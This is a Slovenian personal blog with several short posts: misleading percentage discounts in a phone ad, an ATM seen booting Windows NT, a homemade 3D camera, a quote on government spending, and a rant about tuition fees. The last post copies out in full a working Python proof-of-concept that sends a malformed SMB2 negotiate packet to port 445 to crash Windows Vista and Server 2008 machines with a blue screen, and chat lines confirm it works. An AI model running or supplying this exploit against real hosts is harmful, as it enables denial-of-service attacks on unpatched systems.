Another day in a geek’s life

Danes sem opazil nekaj reklam za telefone določenega slovenskega mobilnega operaterja:

Razumem da so ljudje, ki pripravljajo reklame, hodili na fakulteto, za katero mnogi pravijo da ni fakulteta, in razumem da jim matematika ni ravno vrlina... vendar vseeno... procenti (odstotki) so snov sedmega ali osmega razreda osnovne šole.

En procent oz. odstotek je (kot ime pove) ena stotina. Torej 10%=10/100.

Vzemimo prvi telefon (LG P500), ki so ga pocenili z 90€ na 40€. 1% od 90-ih € je 1/100*90€ = 0.9€. Če pogledamo koliko stotin stane v novo ceno (torej koliko 0.9€ spravimo v 40€... seveda pri tem mislimo na deljenje), je to približno 44. Torej je nova cena približno 44% stare, kar seveda pomeni, da smo stari ceni odvzeli 56%.  Telefon je torej 56% cenejši.

Sedaj poglejmo največji zapis na reklami: "DO 70% NIŽJE CENE TELEFONOV!". Besedica "DO" pomeni mejo intervala. "Do 70%" pomeni torej od 0¹ DO 70% (z vsem vmes), ali pa drug interval, manj logičen v reklamnem oglasu, ki bi pomenil od neskončno navzdol do 70% (oziroma ker gre za procente od 100% navzdol do 70%).   Seveda ne more pomeniti obojega. In če pogledamo prejšnji primer, kjer je cena znižana za 56%, verjetno pomeni znižanje med 0% in 70%.

Podobno velja za telefon "Nokia X2", katerega cena je nižja za 50%².

Tretji telefon ("Blackberry Curve 8528") je znižan z 50€ na 10€. Če ponovimo vajo, je zatorej 1% (od stare cene, torej od 50€) točno 0.5€ in nova cena je točno 20 odstotkov stare, torej so ceno znižali za kar 80%. In 80% je več kot 70%.

Če pogledamo zadnja dva telefona, ki sta znižana z 10€ na 1€ (torej 1% od 10€ je 0.1€, v novo ceno 1% spravimo 10 krat po 0.1€, nova cena je torej 10% stare, kar pomeni da smo jo znižali za 90%).  Tudi 90% je več kot 70%.

Največje znižanje je torej za 90% (ostala so manj), zatorej so vaša znižanja DO 90%, in ne do 70%³. 

Se opravičujem za izpad, vendar vseeno upam da bo komu to pomagalo razumeti kako se računajo odstotki, in kaj pomeni besedica "DO".

Ravnokar sem se vračal iz centra domov in, kot ponavadi, čim sem zapustil avtobus začne deževati, in nekaj sekund zatem močno zagrmi, ugasne se ulična razsvetljava (semaforji so začuda delali dalje).  Hitro sem stekel pod nadstrešek, da dam prevleko z dežnika in ga odprem... pa opazim da je lokalni bankomat ravno na začetku boota, in 'prešteva' ram (nažalost nisem uspel slikati, če se prav spomnim ga je bilo 512MiB :/)

Takoj za tem se prikaže boot menu, kjer se izbira med "Windows NT Workstation Version 4.0" , in isto z VGA ločljivostjo.

In takoj zatem še splash screen...

ki seveda potrjuje da gre res za Windows NT

Ko se windowsi do konca zaženejo se pokaže še Wincor Nixdorf -  Simt Cardinfo splash, za katerim pa klasičen NLBjev reklamni prikaz (nisem niti slikal), kot na vseh drugih bankomatih.

Sedaj pa...glede na to da vsake nekaj dni berem o kakem novem vdoru v nek "varen" sistem¹,... ima kdo kako idejo kako je s supportom? Imajo banke kak poseben support za Windows NT še toliko časa po izteku uradnega supporta? Ali pa se zanašajo na 'zaprtost' njihovih omrežij in izolacijo od interneta? Ali pa naj ratam še bolj paranoičen, in ne vtikam kartice več v noben bankomat sploh?

ps: bakomat se je resetiral sam (verjetno zaradi izpada elektrike). V njegovo delovanje nisem posegal, vse kar sem naredil je, da sem slikal.

Pred kratkim sem pisal o homemade varianti poceni 3D kamere... in ker sem imel dosti drugega dela (faks, služba, absolventski izlet,...) nisem uspel kamer fiksno pritrditi ter skalibrirati, kaj šele porihtati testni software...

In kaj me danes čaka med novimi izdelki na DealExtreme-u?

Seveda.. 3D kamera, narejena iz dveh webcamov... seveda že skalibrirana, s softwarejem in s priloženimi očali...

No ja.. vsaj tolažim se lahko s full HD resolucijo ki jo tista webcama podpirata :/

There are four ways in which you can spend money. You can spend your own money on yourself. When you do that, why then you really watch out what you’re doing, and you try to get the most for your money.

Then you can spend your own money on somebody else. For example, I buy a birthday present for someone. Well, then I’m not so careful about the content of the present, but I’m very careful about the cost.

Then, I can spend somebody else’s money on myself. And if I spend somebody else’s money on myself, then I’m sure going to have a good lunch!

Finally, I can spend somebody else’s money on somebody else. And if I spend somebody else’s money on somebody else, I’m not concerned about how much it is, and I’m not concerned about what I get. And that’s government. And that’s close to 40% of our national income.

Vir (prevod se mi ni zdel potreben)

Take stvari ponavadi mečem na spam-blog, ampak tale se mi je zdela potrebna ranta

Na strani student-info, se je pojavil članek o šolninah. Seveda človek ob naslovu pričakuje 'klasične' argumente, tipa: "študirali bodo samo bogati", oz. "revni bodo ostali neizobraženi, oz, še naprej revni" ipd... A v tem članku je napisano drugače... vsega sicer nima smisla komentirati, ker me je posebej zmotil le en del, in to tisti, ki opisuje zakaj so šolnine "dobre":

da citiram:

Ali so šolnine res tako slabe?

Na šolnine večina izmed nas gleda s finančnega vidika. Vendar pa je to le en del pogleda na celotno zadevo. Velikokrat se študentje pritožujejo, da v predavalnicah zmanjka prostora in da morajo med predavanjem zato sedeti na tleh, kar ni posebej priporočljivo za fizično zdravje. Se pa kdo pri tem vpraša, da bi bilo manj študentov v predavalnici, če bi uvedli šolnine? Da bi na predavanja hodili samo tisti, ki jih to resnično zanima, ne pa, ker morajo sedeti tam, kot veleva bolonjski sistem. Verjetno bi se tudi manj študentov vpisovalo na fakulteto zaradi statusa in ugodnosti, ki jim jih prinaša, če bi morali za to nekaj plačati. Kar bi pomenilo manj vpisanih študentov in bi fakultete lahko denar, ki ga dobijo od države bolje razdelile med manjše število uka željih oseb. Verjetno bi se tako našel tudi denar za izboljšanje razmer še posebej pri praktičnih vajah, opremi laboratorijev in tudi tehnični opremi. Največ živcev verjetno gre študentom, ko čakajo na rezultate izpitov. Si kdaj pomislil/-a, da bi bili rezultati prej, če bi bilo manj izpitov za popravit? Do tega bi lahko prišlo, če bi bilo manj študentov na posamezni smeri.

Glavni argument za šolnine, je da bo potem manj študentov?! To da ljudje nekje sedijo na tleh je problem organizacije fakultete, oziroma preveč vpisanih študentov na enem predmetu. In po kateri logiki naj bi to, ali boš ostal, ali ne, odločalo tvoje finančno stanje?  Čemu sploh služijo obvezna predavanja? Kdor noče poslušati, naj ne pride! Zakaj bi nekoga silili da hodi na perdavanja? Tako ali tako na koncu odloča samo izpit. Število prisotnih na predavanjih, pa po drugi strani prinaša tudi feed-back profesorju... vsaj jaz bi se zamislil nad sabo, če bi bil profesor, in če bi na mojih predavanjih, namesto 150, bilo 5 študentov.

Zanimiv je tudi totalno zgrešen stavek:

Kar bi pomenilo manj vpisanih študentov in bi fakultete lahko denar, ki ga dobijo od države bolje razdelile med manjše število uka željih oseb.

Fakultete dobivajo denar od države (več ali manj) 'po glavi', torej več študentov = več denarja. Več denarja bi bilo predvsem zaradi šolnin. Seveda kaj bi bilo, če neka "uka-željna" oseba, ne bi imela denarja za šolnino?

Zadnji argument, o čakanju na rezultate izpitov, pa je po moje sploh čisti #fail... Izpit je že odpisan... a je res tako pomembno a ga dobiš čez 3 dni, ali pa čez 5?

Ahja.. edino prednost ki jo jaz osebno vidim v šolninah, je, da bi se študenti bolj "primerno" razporedili po fakultetah. Ker 'normalen' posameznik tako ali tako ne bi mogel normalno plačevati šolnin, bi bil odvisen od štipendij (predvsem kadrovskih). In ker podjetja izplačujejo kadrovske štipendije le za poklice, ki jih potrebujejo, bi bilo več študentov na tistih fakultetah, s katerih je potrebno več delovne sile. Torej (trenutno) več naravoslovcev in inženiringa ter manj družboslovja. Je pa res da je nekaj vsaj približno podobnega temu (o slabi porazdelitvi študentov) rekel en izmed ministrov pri neki čisto drugi aferi, in bil seveda izžvižgan

Pred par dnevi je na slashdotu pojavil topic¹  o Microsoftovih training slajdih, kjer so BestBuy zaposlene izobraževali kok je Win7 "ql", in kok je Linux "beden".  Konkreten slajd, ki mi je privlekel pozornost je bil tudi:

Torej... ko pride do kakega grdega b00ga, exploita ipd, so userji "on their own", če uporabljajo Microsoft priozvode, so pa "safe and secure"...

No in danes mi je @Kostko poslal zanimiv link (click here), kjer se nahaja kratka python skripta, ki na oddaljeni mašini sproži BSOD.  In kako je sedaj z 'zagarantirano varnostjo'? Citiram:

Vendor contacted, but no patch available for the moment. Close SMB feature and ports, until a patch is provided.

Hmm.. očitno bo najbolje da izklopimo M$ file serverje, zakurimo ogenj in čakamo

In za vsak slučaj, da ne bi exploit kam izginil, dajem kopijo sem:

#!/usr/bin/python
# When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field it dies with a
# PAGE_FAULT_IN_NONPAGED_AREA from socket import socket
from time import sleep
 
host = "IP_ADDR", 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
 
)
s = socket()
 
s.connect(host)
s.send(buff)
s.close()

ps:  zadeva se je pojavila tudi na slashdotu (click here)

pps:

(21:19:09) Anze: na zobavniku potrjeno bsod dela na visti
(21:19:12) Anze: win7 je safe <--????
(21:19:16) Anze: win 2k8 pade